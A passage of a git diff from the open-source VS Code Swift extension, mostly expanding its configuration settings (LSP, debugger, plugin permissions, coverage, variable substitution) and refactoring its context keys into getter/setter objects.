list. + */ +export function extractTestItemsAndCount(...args: unknown[]): { + testItems: vscode.TestItem[]; + count?: number; +} { + const result = args.reduce<{ + testItems: vscode.TestItem[]; + count?: number; + }>( + (result, arg, index) => { + if (arg === undefined || arg === null) { + return result; + } else if (typeof arg === "number" && index === args.length - 1) { + result.count = arg ?? undefined; + return result; + } else if (isVSCodeTestItem(arg)) { + result.testItems.push(arg); + return result; + } else if (typeof arg === "object") { + // Object but not a TestItem, just skip it + return result; + } else { + throw new Error(`Unexpected argument ${arg} at index ${index}`); + } + }, + { testItems: [] } + ); + return result; +} + +/** + * Checks if an object is a vscode.TestItem via duck typing. + */ +function isVSCodeTestItem(obj: unknown): obj is vscode.TestItem { + return ( + typeof obj === "object" && + obj !== null && + Object.prototype.hasOwnProperty.call(obj, "id") && + Object.prototype.hasOwnProperty.call(obj, "uri") + ); +} diff --git a/src/commands/utilities.ts b/src/commands/utilities.ts new file mode 100644 index 000000000..155820acb --- /dev/null +++ b/src/commands/utilities.ts @@ -0,0 +1,76 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { FolderOperation } from "../WorkspaceContext"; +import { TaskOperation } from "../tasks/TaskQueue"; + +/** + * Execute task and show UI while running. + * + * @param task The task to execute + * @param description Task description shown in logs and errors + * @param folderContext The folder context the task is running in + * @param showErrors Whether to show errors with a vscode error window + * @param checkAlreadyRunning Check if the task is already running and skip if true + * @returns Whether or not the task completed successfully. + */ +export async function executeTaskWithUI( + task: vscode.Task, + description: string, + folderContext: FolderContext, + showErrors = false, + checkAlreadyRunning: boolean = false +): Promise { + try { + const exitCode = await folderContext.taskQueue.queueOperation( + new TaskOperation(task, { + showStatusItem: true, + checkAlreadyRunning, + log: description, + }) + ); + if (exitCode === 0) { + return true; + } else { + if (showErrors) { + void vscode.window.showErrorMessage(`${description} failed`); + } + return false; + } + } catch (error) { + if (showErrors) { + void vscode.window.showErrorMessage(`${description} failed: ${error}`); + } + return false; + } +} + +/** + * If the folder previously had resolve errors and now no longer does then + * send a Package.resolved updated event to trigger the display of the package + * dependencies view. + * @param result If there were resolve errors in the supplied `FolderContext` + * @param folderContext The folder to act on + */ +export function updateAfterError(result: boolean, folderContext: FolderContext) { + const triggerResolvedUpdatedEvent = folderContext.hasResolveErrors; + // Save if the folder has resolve errors for the next call. + folderContext.hasResolveErrors = !result; + + if (triggerResolvedUpdatedEvent && !folderContext.hasResolveErrors) { + void folderContext.fireEvent(FolderOperation.resolvedUpdated); + } +} diff --git a/src/configuration.ts b/src/configuration.ts index 050ca135b..9d77c7a12 100644 --- a/src/configuration.ts +++ b/src/configuration.ts @@ -1,19 +1,47 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import * as os from "os"; +import * as path from "path"; import * as vscode from "vscode"; +import { WorkspaceContext } from "./WorkspaceContext"; +import { SwiftToolchain } from "./toolchain/toolchain"; +import { showReloadExtensionNotification } from "./ui/ReloadExtension"; + +export type DebugAdapters = "auto" | "lldb-dap" | "CodeLLDB"; +export type SetupCodeLLDBOptions = + | "prompt" + | "alwaysUpdateGlobal" + | "alwaysUpdateWorkspace" + | "never"; +export type CFamilySupportOptions = "enable" | "disable" | "cpptools-inactive"; +export type ActionAfterBuildError = "Focus Problems" | "Focus Terminal" | "Do Nothing"; +export type OpenAfterCreateNewProjectOptions = + | "always" + | "alwaysNewWindow" + | "whenNoFolderOpen" + | "prompt"; +export type ShowBuildStatusOptions = "never" | "swiftStatus" | "progress" | "notification"; +export type DiagnosticCollectionOptions = + | "onlySwiftc" + | "onlySourceKit" + | "keepSwiftc" + | "keepSourceKit" + | "keepAll"; +export type DiagnosticStyle = "default" | "llvm" | "swift"; +export type ValidCodeLens = "run" | "debug" | "coverage"; + /** sourcekit-lsp configuration */ export interface LSPConfiguration { /** Path to sourcekit-lsp executable */ @@ -22,6 +50,70 @@ export interface LSPConfiguration { readonly serverArguments: string[]; /** Are inlay hints enabled */ readonly inlayHintsEnabled: boolean; + /** Support C Family source files */ + readonly supportCFamily: CFamilySupportOptions; + /** Support Languages */ + readonly supportedLanguages: string[]; + /** Is SourceKit-LSP disabled */ + readonly disable: boolean; +} + +/** debugger configuration */ +export interface DebuggerConfiguration { + /** Get the underlying debug adapter type requested by the user. */ + readonly debugAdapter: DebugAdapters; + /** Return path to debug adapter */ + readonly customDebugAdapterPath: string; + /** Whether or not to disable setting up the debugger */ + readonly disable: boolean; + /** User choices for updating CodeLLDB settings */ + readonly setupCodeLLDB: SetupCodeLLDBOptions; +} + +/** workspace folder configuration */ +export interface FolderConfiguration { + /** Environment variables to set when running tests */ + readonly testEnvironmentVariables: { [key: string]: string }; + /** Extra arguments to set when building tests */ + readonly additionalTestArguments: string[]; + /** search sub-folder of workspace folder for Swift Packages */ + readonly searchSubfoldersForPackages: boolean; + /** Folders to ignore when searching for Swift Packages */ + readonly ignoreSearchingForPackagesInSubfolders: string[]; + /** auto-generate launch.json configurations */ + readonly autoGenerateLaunchConfigurations: boolean; + /** disable automatic running of swift package resolve */ + readonly disableAutoResolve: boolean; + /** location to save swift-testing attachments */ + readonly attachmentsPath: string; + /** look up saved permissions for the supplied plugin */ + pluginPermissions(pluginId?: string): PluginPermissionConfiguration; + /** look up saved arguments for the supplied plugin, or global plugin arguments if no plugin id is provided */ + pluginArguments(pluginId?: string): string[]; +} + +export interface PluginPermissionConfiguration { + /** Disable using the sandbox when executing plugins */ + disableSandbox?: boolean; + /** Allow the plugin to write to the package directory */ + allowWritingToPackageDirectory?: boolean; + /** Allow the plugin to write to an additional directory or directories */ + allowWritingToDirectory?: string | string[]; + /** + * Allow the plugin to make network connections + * For a list of valid options see: + * https://github.com/swiftlang/swift-package-manager/blob/0401a2ae55077cfd1f4c0acd43ae0a1a56ab21ef/Sources/Commands/PackageCommands/PluginCommand.swift#L62 + */ + allowNetworkConnections?: string; +} + +export interface BackgroundCompilationConfiguration { + /** enable background compilation task on save */ + enabled: boolean; + /** use the default `swift` build task when background compilation is enabled */ + useDefaultTask: boolean; + /** Use the `release` variant of the build all task */ + release: boolean; } /** @@ -32,53 +124,284 @@ const configuration = { get lsp(): LSPConfiguration { return { get serverPath(): string { - return vscode.workspace - .getConfiguration("sourcekit-lsp") - .get("serverPath", ""); + return substituteVariablesInString( + vscode.workspace + .getConfiguration("swift.sourcekit-lsp") + .get("serverPath", "") + ); }, get serverArguments(): string[] { return vscode.workspace - .getConfiguration("sourcekit-lsp") - .get("serverArguments", []); + .getConfiguration("swift.sourcekit-lsp") + .get("serverArguments", []) + .map(substituteVariablesInString); }, get inlayHintsEnabled(): boolean { return vscode.workspace .getConfiguration("sourcekit-lsp") .get("inlayHints.enabled", true); }, + get supportCFamily(): CFamilySupportOptions { + return vscode.workspace + .getConfiguration("sourcekit-lsp") + .get("support-c-cpp", "cpptools-inactive"); + }, + get supportedLanguages() { + return vscode.workspace + .getConfiguration("swift.sourcekit-lsp") + .get("supported-languages", [ + "swift", + "c", + "cpp", + "objective-c", + "objective-cpp", + ]); + }, + get disable(): boolean { + return vscode.workspace + .getConfiguration("swift.sourcekit-lsp") + .get("disable", false); + }, + }; + }, + + folder(workspaceFolder: vscode.WorkspaceFolder): FolderConfiguration { + function pluginSetting( + setting: string, + pluginId?: string, + resultIsArray: boolean = false + ): T | undefined { + if (!pluginId) { + // Check for * as a wildcard plugin ID for configurations that want both + // global arguments as well as specific additional arguments for a plugin. + const wildcardSetting = pluginSetting(setting, "*", resultIsArray) as T | undefined; + if (wildcardSetting) { + return wildcardSetting; + } + + // Check if there is a global setting like `"swift.pluginArguments": ["-c", "release"]` + // that should apply to all plugins. + const args = vscode.workspace + .getConfiguration("swift", workspaceFolder) + .get(setting); + + if (resultIsArray && Array.isArray(args)) { + return args; + } else if ( + !resultIsArray && + args !== null && + typeof args === "object" && + Object.keys(args).length !== 0 + ) { + return args; + } + return undefined; + } + + return vscode.workspace.getConfiguration("swift", workspaceFolder).get<{ + [key: string]: T; + }>(setting, {})[pluginId]; + } + return { + /** Environment variables to set when running tests */ + get testEnvironmentVariables(): { [key: string]: string } { + return vscode.workspace + .getConfiguration("swift", workspaceFolder) + .get<{ [key: string]: string }>("testEnvironmentVariables", {}); + }, + /** Extra arguments to pass to swift test and swift build when running and debugging tests. */ + get additionalTestArguments(): string[] { + return vscode.workspace + .getConfiguration("swift", workspaceFolder) + .get("additionalTestArguments", []) + .map(substituteVariablesInString); + }, + /** auto-generate launch.json configurations */ + get autoGenerateLaunchConfigurations(): boolean { + return vscode.workspace + .getConfiguration("swift", workspaceFolder) + .get("autoGenerateLaunchConfigurations", true); + }, + /** disable automatic running of swift package resolve */ + get disableAutoResolve(): boolean { + return vscode.workspace + .getConfiguration("swift", workspaceFolder) + .get("disableAutoResolve", false); + }, + /** search sub-folder of workspace folder for Swift Packages */ + get searchSubfoldersForPackages(): boolean { + return vscode.workspace + .getConfiguration("swift", workspaceFolder) + .get("searchSubfoldersForPackages", false); + }, + /** Folders to ignore when searching for Swift Packages */ + get ignoreSearchingForPackagesInSubfolders(): string[] { + return vscode.workspace + .getConfiguration("swift", workspaceFolder) + .get< + string[] + >("ignoreSearchingForPackagesInSubfolders", [".", ".build", "Packages", "out", "bazel-out", "bazel-bin"]) + .map(substituteVariablesInString); + }, + get attachmentsPath(): string { + return substituteVariablesInString( + vscode.workspace + .getConfiguration("swift", workspaceFolder) + .get("attachmentsPath", "./.build/attachments") + ); + }, + pluginPermissions(pluginId?: string): PluginPermissionConfiguration { + return pluginSetting("pluginPermissions", pluginId, false) ?? {}; + }, + pluginArguments(pluginId?: string): string[] { + return pluginSetting("pluginArguments", pluginId, true) ?? []; + }, }; }, + /** debugger configuration */ + get debugger(): DebuggerConfiguration { + return { + get debugAdapter(): DebugAdapters { + // Use inspect to determine if the user has explicitly set swift.debugger.useDebugAdapterFromToolchain + const inspectUseDebugAdapterFromToolchain = vscode.workspace + .getConfiguration("swift.debugger") + .inspect("useDebugAdapterFromToolchain"); + let useDebugAdapterFromToolchain = + inspectUseDebugAdapterFromToolchain?.workspaceValue ?? + inspectUseDebugAdapterFromToolchain?.globalValue; + // On Windows arm64 we enable swift.debugger.useDebugAdapterFromToolchain by default since CodeLLDB does + // not support this platform and gives an awful error message. + if (process.platform === "win32" && process.arch === "arm64") { + useDebugAdapterFromToolchain = useDebugAdapterFromToolchain ?? true; + } + const selectedAdapter = vscode.workspace + .getConfiguration("swift.debugger") + .get("debugAdapter", "auto"); + switch (selectedAdapter) { + case "auto": + if (useDebugAdapterFromToolchain !== undefined) { + return useDebugAdapterFromToolchain ? "lldb-dap" : "CodeLLDB"; + } + return "auto"; + default: + return selectedAdapter; + } + }, + get customDebugAdapterPath(): string { + return substituteVariablesInString( + vscode.workspace.getConfiguration("swift.debugger").get("path", "") + ); + }, + get disable(): boolean { + return vscode.workspace + .getConfiguration("swift.debugger") + .get("disable", false); + }, + get setupCodeLLDB(): SetupCodeLLDBOptions { + return vscode.workspace + .getConfiguration("swift.debugger") + .get("setupCodeLLDB", "prompt"); + }, + }; + }, + /** Files and directories to exclude from the code coverage. */ + get excludeFromCodeCoverage(): string[] { + return vscode.workspace + .getConfiguration("swift") + .get("excludeFromCodeCoverage", []) + .map(substituteVariablesInString); + }, + /** Whether to show inline code lenses for running and debugging tests. */ + get showTestCodeLenses(): boolean | ValidCodeLens[] { + return vscode.workspace + .getConfiguration("swift") + .get("showTestCodeLenses", true); + }, + /** Whether to record the duration of tests in the Test Explorer. */ + get recordTestDuration(): boolean { + return vscode.workspace.getConfiguration("swift").get("recordTestDuration", true); + }, /** Files and directories to exclude from the Package Dependencies view. */ get excludePathsFromPackageDependencies(): string[] { return vscode.workspace .getConfiguration("swift") .get("excludePathsFromPackageDependencies", []); }, - /** Folders to exclude from package dependency view */ - set excludePathsFromPackageDependencies(value: string[]) { - vscode.workspace - .getConfiguration("swift") - .update("excludePathsFromPackageDependencies", value); - }, /** Path to folder that include swift executable */ get path(): string { - return vscode.workspace.getConfiguration("swift").get("path", ""); + return substituteVariablesInString( + vscode.workspace.getConfiguration("swift").get("path", "") + ); }, /** Path to folder that include swift runtime */ get runtimePath(): string { - return vscode.workspace.getConfiguration("swift").get("runtimePath", ""); + return substituteVariablesInString( + vscode.workspace.getConfiguration("swift").get("runtimePath", "") + ); }, - /** Path to custom swift sdk */ + /** Path to custom --sdk */ get sdk(): string { - return vscode.workspace.getConfiguration("swift").get("SDK", ""); + return substituteVariablesInString( + vscode.workspace.getConfiguration("swift").get("SDK", "") + ); + }, + set sdk(value: string | undefined) { + void vscode.workspace + .getConfiguration("swift") + .update("SDK", value) + .then(() => { + /* Put in worker queue */ + }); + }, + /** Path to custom --swift-sdk */ + get swiftSDK(): string { + return vscode.workspace.getConfiguration("swift").get("swiftSDK", ""); + }, + set swiftSDK(value: string | undefined) { + void vscode.workspace + .getConfiguration("swift") + .update("swiftSDK", value) + .then(() => { + /* Put in worker queue */ + }); }, /** swift build arguments */ get buildArguments(): string[] { - return vscode.workspace.getConfiguration("swift").get("buildArguments", []); + return vscode.workspace + .getConfiguration("swift") + .get("buildArguments", []) + .map(substituteVariablesInString); + }, + scriptSwiftLanguageVersion(toolchain: SwiftToolchain): string { + const version = vscode.workspace + .getConfiguration("swift") + .get("scriptSwiftLanguageVersion", toolchain.swiftVersion.major.toString()); + if (version.length === 0) { + return toolchain.swiftVersion.major.toString(); + } + return version; + }, + /** swift package arguments */ + get packageArguments(): string[] { + return vscode.workspace + .getConfiguration("swift") + .get("packageArguments", []) + .map(substituteVariablesInString); + }, + /** thread/address sanitizer */ + get sanitizer(): string { + return vscode.workspace.getConfiguration("swift").get("sanitizer", "off"); }, get buildPath(): string { - return vscode.workspace.getConfiguration("swift").get("buildPath", ""); + return substituteVariablesInString( + vscode.workspace.getConfiguration("swift").get("buildPath", "") + ); + }, + get disableSwiftPMIntegration(): boolean { + return vscode.workspace + .getConfiguration("swift") + .get("disableSwiftPackageManagerIntegration", false); }, /** Environment variables to set when building */ get swiftEnvironmentVariables(): { [key: string]: string } { @@ -87,33 +410,254 @@ const configuration = { .get<{ [key: string]: string }>("swiftEnvironmentVariables", {}); }, /** include build errors in problems view */ - get problemMatchCompileErrors(): boolean { + get diagnosticsCollection(): DiagnosticCollectionOptions { return vscode.workspace .getConfiguration("swift") - .get("problemMatchCompileErrors", true); + .get("diagnosticsCollection", "keepSourceKit"); }, - /** auto-generate launch.json configurations */ - get autoGenerateLaunchConfigurations(): boolean { + /** set the -diagnostic-style option when running `swift` tasks */ + get diagnosticsStyle(): DiagnosticStyle { return vscode.workspace .getConfiguration("swift") - .get("autoGenerateLaunchConfigurations", true); + .get("diagnosticsStyle", "default"); + }, + /** where to show the build progress for the running task */ + get showBuildStatus(): ShowBuildStatusOptions { + return vscode.workspace + .getConfiguration("swift") + .get("showBuildStatus", "swiftStatus"); + }, + /** create build tasks for the library products of the package(s) */ + get createTasksForLibraryProducts(): boolean { + return vscode.workspace + .getConfiguration("swift") + .get("createTasksForLibraryProducts", false); }, /** background compilation */ - get backgroundCompilation(): boolean { + get backgroundCompilation(): BackgroundCompilationConfiguration { + const value = vscode.workspace + .getConfiguration("swift") + .get("backgroundCompilation", false); + return { + get enabled(): boolean { + return typeof value === "boolean" ? value : value.enabled; + }, + get useDefaultTask(): boolean { + return typeof value === "boolean" ? true : (value.useDefaultTask ?? true); + }, + get release(): boolean { + return typeof value === "boolean" ? false : (value.release ?? false); + }, + }; + }, + /** background indexing */ + get backgroundIndexing(): "on" | "off" | "auto" { + const value = vscode.workspace + .getConfiguration("swift.sourcekit-lsp") + .get("backgroundIndexing", "auto"); + + // Legacy versions of this setting were a boolean, convert to the new string version. + if (typeof value === "boolean") { + return value ? "on" : "off"; + } else { + return value; + } + }, + /** focus on problems view whenever there is a build error */ + get actionAfterBuildError(): ActionAfterBuildError { return vscode.workspace .getConfiguration("swift") - .get("backgroundCompilation", false); + .get("actionAfterBuildError", "Focus Terminal"); }, /** output additional diagnostics */ get diagnostics(): boolean { return vscode.workspace.getConfiguration("swift").get("diagnostics", false); }, - /** Environment variables to set when running tests */ - get testEnvironmentVariables(): { [key: string]: string } { + /** + * Test coverage settings + */ + /** Should test coverage report be displayed after running test coverage */ + get displayCoverageReportAfterRun(): boolean { + return vscode.workspace + .getConfiguration("swift") + .get("coverage.displayReportAfterRun", true); + }, + get alwaysShowCoverageStatusItem(): boolean { + return vscode.workspace + .getConfiguration("swift") + .get("coverage.alwaysShowStatusItem", true); + }, + get coverageHitColorLightMode(): string { + return vscode.workspace + .getConfiguration("swift") + .get("coverage.colors.lightMode.hit", "#c0ffc0"); + }, + get coverageMissColorLightMode(): string { + return vscode.workspace + .getConfiguration("swift") + .get("coverage.colors.lightMode.miss", "#ffc0c0"); + }, + get coverageHitColorDarkMode(): string { + return vscode.workspace + .getConfiguration("swift") + .get("coverage.colors.darkMode.hit", "#003000"); + }, + get coverageMissColorDarkMode(): string { return vscode.workspace .getConfiguration("swift") - .get<{ [key: string]: string }>("testEnvironmentVariables", {}); + .get("coverage.colors.darkMode.miss", "#400000"); + }, + get openAfterCreateNewProject(): OpenAfterCreateNewProjectOptions { + return vscode.workspace + .getConfiguration("swift") + .get("openAfterCreateNewProject", "prompt"); + }, + /** Whether or not the extension should warn about being unable to create symlinks on Windows */ + get warnAboutSymlinkCreation(): boolean { + return vscode.workspace + .getConfiguration("swift") + .get("warnAboutSymlinkCreation", true); + }, + set warnAboutSymlinkCreation(value: boolean) { + void vscode.workspace + .getConfiguration("swift") + .update("warnAboutSymlinkCreation", value, vscode.ConfigurationTarget.Global) + .then(() => { + /* Put in worker queue */ + }); + }, + /** Whether or not the extension will contribute Swift environment variables to the integrated terminal */ + get enableTerminalEnvironment(): boolean { + return vscode.workspace + .getConfiguration("swift") + .get("enableTerminalEnvironment", true); + }, + /** Whether or not to disable SwiftPM sandboxing */ + get disableSandbox(): boolean { + return vscode.workspace.getConfiguration("swift").get("disableSandbox", false); + }, + /** Workspace folder glob patterns to exclude */ + get excludePathsFromActivation(): Record { + return vscode.workspace + .getConfiguration("swift") + .get>("excludePathsFromActivation", {}); + }, + get lspConfigurationBranch(): string { + return vscode.workspace.getConfiguration("swift").get("lspConfigurationBranch", ""); + }, + get checkLspConfigurationSchema(): boolean { + return vscode.workspace + .getConfiguration("swift") + .get("checkLspConfigurationSchema", true); + }, + set checkLspConfigurationSchema(value: boolean) { + void vscode.workspace + .getConfiguration("swift") + .update("checkLspConfigurationSchema", value) + .then(() => { + /* Put in worker queue */ + }); + }, + get outputChannelLogLevel(): string { + return vscode.workspace.getConfiguration("swift").get("outputChannelLogLevel", "info"); + }, + parameterHintsEnabled(documentUri: vscode.Uri): boolean { + const enabled = vscode.workspace + .getConfiguration("editor.parameterHints", { + uri: documentUri, + languageId: "swift", + }) + .get("enabled"); + + return enabled === true; }, }; +const vsCodeVariableRegex = new RegExp(/\$\{(.+?)\}/g); +export function substituteVariablesInString(val: string): string { + // Fallback to "" incase someone explicitly sets to null + return (val || "").replace(vsCodeVariableRegex, (substring: string, varName: string) => + typeof varName === "string" ? computeVscodeVar(varName) || substring : substring + ); +} + +function computeVscodeVar(varName: string): string | null { + const workspaceFolder = () => { + const activeEditor = vscode.window.activeTextEditor; + if (activeEditor) { + const documentUri = activeEditor.document.uri; + const folder = vscode.workspace.getWorkspaceFolder(documentUri); + if (folder) { + return folder.uri.fsPath; + } + } + + // If there is no active editor then return the first workspace folder + return vscode.workspace.workspaceFolders?.at(0)?.uri.fsPath ?? ""; + }; + + const file = () => vscode.window.activeTextEditor?.document?.uri?.fsPath || ""; + + const regex = /workspaceFolder:(.*)/gm; + const match = regex.exec(varName); + if (match) { + const name = match[1]; + return vscode.workspace.workspaceFolders?.find(f => f.name === name)?.uri.fsPath ?? null; + } + + // https://code.visualstudio.com/docs/editor/variables-reference + // Variables to be substituted should be added here. + const supportedVariables: { [k: string]: () => string } = { + workspaceFolder, + fileWorkspaceFolder: workspaceFolder, + workspaceFolderBasename: () => path.basename(workspaceFolder()), + cwd: () => process.cwd(), + userHome: () => os.homedir(), + pathSeparator: () => path.sep, + file, + relativeFile: () => path.relative(workspaceFolder(), file()), + relativeFileDirname: () => path.dirname(path.relative(workspaceFolder(), file())), + fileBasename: () => path.basename(file()), + fileExtname: () => path.extname(file()), + fileDirname: () => path.dirname(file()), + fileDirnameBasename: () => path.basename(path.dirname(file())), + }; + + return varName in supportedVariables ? supportedVariables[varName]() : null; +} + +/** + * Handler for configuration change events that triggers a reload of the extension + * if the setting changed requires one. + * @param ctx The workspace context. + * @returns A disposable that unregisters the provider when disposed. + */ +export function handleConfigurationChangeEvent( + ctx: WorkspaceContext +): (event: vscode.ConfigurationChangeEvent) => void { + return (event: vscode.ConfigurationChangeEvent) => { + // on toolchain config change, reload window + if ( + event.affectsConfiguration("swift.path") && + configuration.path !== ctx.currentFolder?.toolchain.swiftFolderPath + ) { + void showReloadExtensionNotification( + "Changing the Swift path requires Visual Studio Code be reloaded." + ); + } else if ( + // on sdk config change, restart sourcekit-lsp + event.affectsConfiguration("swift.SDK") || + event.affectsConfiguration("swift.swiftSDK") + ) { + void vscode.commands.executeCommand("swift.restartLSPServer").then(() => { + /* Put in worker queue */ + }); + } else if (event.affectsConfiguration("swift.swiftEnvironmentVariables")) { + void showReloadExtensionNotification( + "Changing environment variables requires the project be reloaded." + ); + } + }; +} + export default configuration; diff --git a/src/contextKeys.ts b/src/contextKeys.ts index b0adcec89..97524fce1 100644 --- a/src/contextKeys.ts +++ b/src/contextKeys.ts @@ -1,19 +1,20 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; +import { Version } from "./utilities/version"; + /** * References: * @@ -21,30 +22,292 @@ import * as vscode from "vscode"; * https://code.visualstudio.com/api/references/when-clause-contexts */ -/** - * Type-safe wrapper around context keys used in `when` clauses. - */ -const contextKeys = { +/** Interface for getting and setting the VS Code Swift extension's context keys */ +export interface ContextKeys { + /** + * Whether or not the swift extension is activated. + */ + isActivated: boolean; + /** * Whether the workspace folder contains a Swift package. */ - set hasPackage(value: boolean) { - vscode.commands.executeCommand("setContext", "swift.hasPackage", value); - }, + hasPackage: boolean; /** - * Whether the Swift package has any dependencies to display in the Package Dependencies view. + * Whether the workspace folder contains a Swift package with at least one executable product. */ - set packageHasDependencies(value: boolean) { - vscode.commands.executeCommand("setContext", "swift.packageHasDependencies", value); - }, + hasExecutableProduct: boolean; /** * Whether the Swift package has any dependencies to display in the Package Dependencies view. */ - set packageHasPlugins(value: boolean) { - vscode.commands.executeCommand("setContext", "swift.packageHasPlugins", value); - }, -}; + packageHasDependencies: boolean; + + /** + * Whether the dependencies list is displayed in a nested or flat view. + */ + flatDependenciesList: boolean; + + /** + * Whether the Swift package has any plugins. + */ + packageHasPlugins: boolean; + + /** + * Whether current active file is in a SwiftPM source target folder + */ + currentTargetType: string | undefined; + + /** + * Whether current active file is a Snippet + */ + fileIsSnippet: boolean; + + /** + * Whether current active file is a Snippet + */ + lldbVSCodeAvailable: boolean; + + /** + * Whether the swift.createNewProject command is available. + */ + createNewProjectAvailable: boolean; + + /** + * Whether the SourceKit-LSP server supports reindexing the workspace. + */ + supportsReindexing: boolean; + + /** + * Whether the SourceKit-LSP server supports documentation live preview. + */ + supportsDocumentationLivePreview: boolean; + + /** + * Whether the installed version of Swiftly can be used to install toolchains from within VS Code. + */ + supportsSwiftlyInstall: boolean; + + /** + * Whether the swift.switchPlatform command is available. + */ + switchPlatformAvailable: boolean; + + /** + * Sets values for context keys that are enabled/disabled based on the toolchain version in use. + */ + updateKeysBasedOnActiveVersion(toolchainVersion: Version): void; +} + +/** Creates the getters and setters for the VS Code Swift extension's context keys. */ +export function createContextKeys(): ContextKeys { + let isActivated: boolean = false; + let hasPackage: boolean = false; + let hasExecutableProduct: boolean = false; + let flatDependenciesList: boolean = false; + let packageHasDependencies: boolean = false; + let packageHasPlugins: boolean = false; + let currentTargetType: string | undefined = undefined; + let fileIsSnippet: boolean = false; + let lldbVSCodeAvailable: boolean = false; + let createNewProjectAvailable: boolean = false; + let supportsReindexing: boolean = false; + let supportsDocumentationLivePreview: boolean = false; + let supportsSwiftlyInstall: boolean = false; + let switchPlatformAvailable: boolean = false; + + return { + updateKeysBasedOnActiveVersion(toolchainVersion: Version) { + this.createNewProjectAvailable = toolchainVersion.isGreaterThanOrEqual( + new Version(5, 8, 0) + ); + this.switchPlatformAvailable = + process.platform === "darwin" + ? toolchainVersion.isGreaterThanOrEqual(new Version(6, 1, 0)) + : false; + }, + + get isActivated() { + return isActivated; + }, + + set isActivated(value: boolean) { + isActivated = value; + void vscode.commands + .executeCommand("setContext", "swift.isActivated", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get hasPackage() { + return hasPackage; + }, + + set hasPackage(value: boolean) { + hasPackage = value; + void vscode.commands + .executeCommand("setContext", "swift.hasPackage", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get hasExecutableProduct() { + return hasExecutableProduct; + }, + + set hasExecutableProduct(value: boolean) { + hasExecutableProduct = value; + void vscode.commands + .executeCommand("setContext", "swift.hasExecutableProduct", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get packageHasDependencies() { + return packageHasDependencies; + }, + + set packageHasDependencies(value: boolean) { + packageHasDependencies = value; + void vscode.commands + .executeCommand("setContext", "swift.packageHasDependencies", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get flatDependenciesList() { + return flatDependenciesList; + }, + + set flatDependenciesList(value: boolean) { + flatDependenciesList = value; + void vscode.commands + .executeCommand("setContext", "swift.flatDependenciesList", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get packageHasPlugins() { + return packageHasPlugins; + }, + + set packageHasPlugins(value: boolean) { + packageHasPlugins = value; + void vscode.commands + .executeCommand("setContext", "swift.packageHasPlugins", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get currentTargetType() { + return currentTargetType; + }, + + set currentTargetType(value: string | undefined) { + currentTargetType = value; + void vscode.commands + .executeCommand("setContext", "swift.currentTargetType", value ?? "none") + .then(() => { + /* Put in worker queue */ + }); + }, + + get fileIsSnippet() { + return fileIsSnippet; + }, + + set fileIsSnippet(value: boolean) { + fileIsSnippet = value; + void vscode.commands + .executeCommand("setContext", "swift.fileIsSnippet", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get lldbVSCodeAvailable() { + return lldbVSCodeAvailable; + }, + + set lldbVSCodeAvailable(value: boolean) { + lldbVSCodeAvailable = value; + void vscode.commands + .executeCommand("setContext", "swift.lldbVSCodeAvailable", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get createNewProjectAvailable() { + return createNewProjectAvailable; + }, + + set createNewProjectAvailable(value: boolean) { + createNewProjectAvailable = value; + void vscode.commands + .executeCommand("setContext", "swift.createNewProjectAvailable", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get supportsReindexing() { + return supportsReindexing; + }, + + set supportsReindexing(value: boolean) { + supportsReindexing = value; + void vscode.commands + .executeCommand("setContext", "swift.supportsReindexing", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get supportsDocumentationLivePreview() { + return supportsDocumentationLivePreview; + }, + + set supportsDocumentationLivePreview(value: boolean) { + supportsDocumentationLivePreview = value; + void vscode.commands + .executeCommand("setContext", "swift.supportsDocumentationLivePreview", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get supportsSwiftlyInstall() { + return supportsSwiftlyInstall; + }, + + set supportsSwiftlyInstall(value: boolean) { + supportsSwiftlyInstall = value; + void vscode.commands + .executeCommand("setContext", "swift.supportsSwiftlyInstall", value) + .then(() => { + /* Put in worker queue */ + }); + }, + + get switchPlatformAvailable() { + return switchPlatformAvailable; + }, -export default contextKeys; + set switchPlatformAvailable(value: boolean) { + switchPlatformAvailable = value; + void vscode.commands + .executeCommand("setContext", "swift.switchPlatformAvailable", value) + .then(() => { + /* Put in worker queue */ + }); + }, + }; +} diff --git a/src/coverage/LcovResults.ts b/src/coverage/LcovResults.ts new file mode 100644 index 000000000..786e3aacf --- /dev/null +++ b/src/coverage/LcovResults.ts @@ -0,0 +1,241 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +import * as vscode from "vscode"; +import * as lcov from "lcov-parse"; +import * as asyncfs from "fs/promises"; +import * as path from 